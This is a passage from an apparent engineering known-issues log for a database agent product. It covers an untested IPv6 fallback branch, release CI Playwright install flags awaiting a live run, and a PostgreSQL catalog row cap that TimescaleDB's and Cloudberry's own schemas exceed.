empty HOSTNAME so the resolver runs, with config.bindAddress to overrule it. That closes #432
and the original entry here.
One branch of the resolver is reasoned rather than measured. Every namespace reachable on the
development host - --sysctl net.ipv6.bindv6only=1, --sysctl net.ipv6.conf.all.disable_ipv6=1,
--network host, an IPv6-only Docker network - still binds :: successfully, and the bindv6only
case still serves IPv4 because libuv clears IPV6_V6ONLY. The one configuration that would make
socket(AF_INET6) fail outright is a kernel built without IPv6 (CONFIG_IPV6=n) or with the
module unloaded, and that could not be constructed to run the image against. The ipv6-unavailable
branch is covered by unit tests with an injected failure, and the failure mode if it is wrong is
loud (the server exits) rather than silent.
Done when the image has been started once on a host with no AF_INET6 and observed to log
ipv6-unavailable and bind 0.0.0.0 - or when that configuration is judged rare enough that the
unit test is the whole answer, and this entry is deleted.
The deb/rpm/snap channel E2Es in release-artifacts.yml now run bunx playwright install chromium
instead of --with-deps chromium, the same edit made in docker-build-push.yml. The reasoning is
identical and the evidence is real - ubuntu-latest ships Google Chrome, so chromium's shared
libraries are already present, and playwright.channel.config.ts is a chromium-only project list
that never resolves the webkit project which is what actually needs extra packages.
What is missing is a live run. release-artifacts.yml triggers only on a tag, so neither a PR nor a
branch push exercises it; the ci.yml and docker-build-push.yml edits were both verified by real runs
on the branch, and this one was not. If chromium fails to launch there, the failure surfaces as a red
channel E2E during a release rather than before it - run_playwright calls playwright test
directly, so it fails loudly rather than skipping, but it fails at the worst moment.
Done when the next release's channel E2Es pass on deb, rpm and snap, and this entry is deleted - or
they fail and --with-deps comes back for those three jobs only.
B52. The PostgreSQL grounding capture's row cap is reached by the server's own catalogs, not by a wide user schema
composeCatalogRead records a known limitation with a number: the PostgreSQL projection is one row
per COLUMN against maxResultRows: 200, so an unnarrowed call "overflows at roughly 25 tables of
eight columns". That estimate frames the cap as something a large user schema reaches.
Measured on 2026-08-20 against a stock timescale/timescaledb:latest-pg17 (TimescaleDB 2.29.2 on
PostgreSQL 17.11), it is reached with two user tables. information_schema.columns outside
pg_catalog and information_schema answers 478 rows, of which 473 belong to the extension
timescaledb_information163,_timescaledb_internal146,_timescaledb_catalog139,_timescaledb_config17,timescaledb_experimental8 - and 5 are the user's. The read is refused rather than truncated, by design, socaptureFromProviderreturns an unavailable capture and the plan run answers ungrounded with "This run was given no inventory of this database."
Verified as server-caused rather than product-wide: the identical run against plain PostgreSQL 18 with the same least-privilege role captured "3 tables, fingerprint ctx_0d63" and named them. Granting the agent role USAGE and SELECT on the three internal schemas does not change the outcome, which confirms this is the row cap and not a privilege.
A second engine reproduces it, and it is not an extension. Measured on 2026-08-20 against
woblerr/cloudberry:2.1.0-incubating (Apache Cloudberry 2.1.0-incubating, PostgreSQL 14.4) with the
same two user tables: the read is refused as CATALOG_READ_REFUSED, "Read-only execution exceeded the
row budget: 289 rows > 200 allowed". Of those 289 rows, 282 belong to Cloudberry's own
gp_toolkit schema and 7 to the user's two tables. The figure is per-role and is meaningless
without one: the same read as gpadmin answers 481 rows - 470 gp_toolkit, 7 public, 4
pg_ext_aux - because that role can see more. Cloudberry is a PostgreSQL fork rather than a
PostgreSQL carrying an extension, so what generalises is narrower than the first measurement
suggested: any PostgreSQL-wire server whose own catalogs are wide before the user creates anything.
Cloudberry also fails one step earlier, which matters for anyone trying to work around this. Its usual
login is gpadmin, a superuser, and the agent's execution profile refuses that role as unverified or
too broad (is_superuser, reads_server_files, writes_server_files, executes_programs). So the
row budget is only reached after a least-privilege agentUser has been created by hand - and it is
then reached anyway.
The consequence is that the agent is unusable out of the box on both TimescaleDB and Cloudberry, and the same shape will appear on any PostgreSQL-wire server with wide catalogs of its own. Two candidate fixes, both listed in the existing comment as belonging to the consuming layer: aggregate columns per table so the projection is one row per OBJECT (symmetric with the SQLite side), or have the capture exclude the schemas the object browser already treats as internal. The second is narrower and would not change what a caller parses - and it now has two schema sets to exclude rather than one, which is an argument for the first.
Done when a plan run against a stock TimescaleDB and one against a stock Cloudberry both report a captured schema naming the user's tables, and this entry is deleted.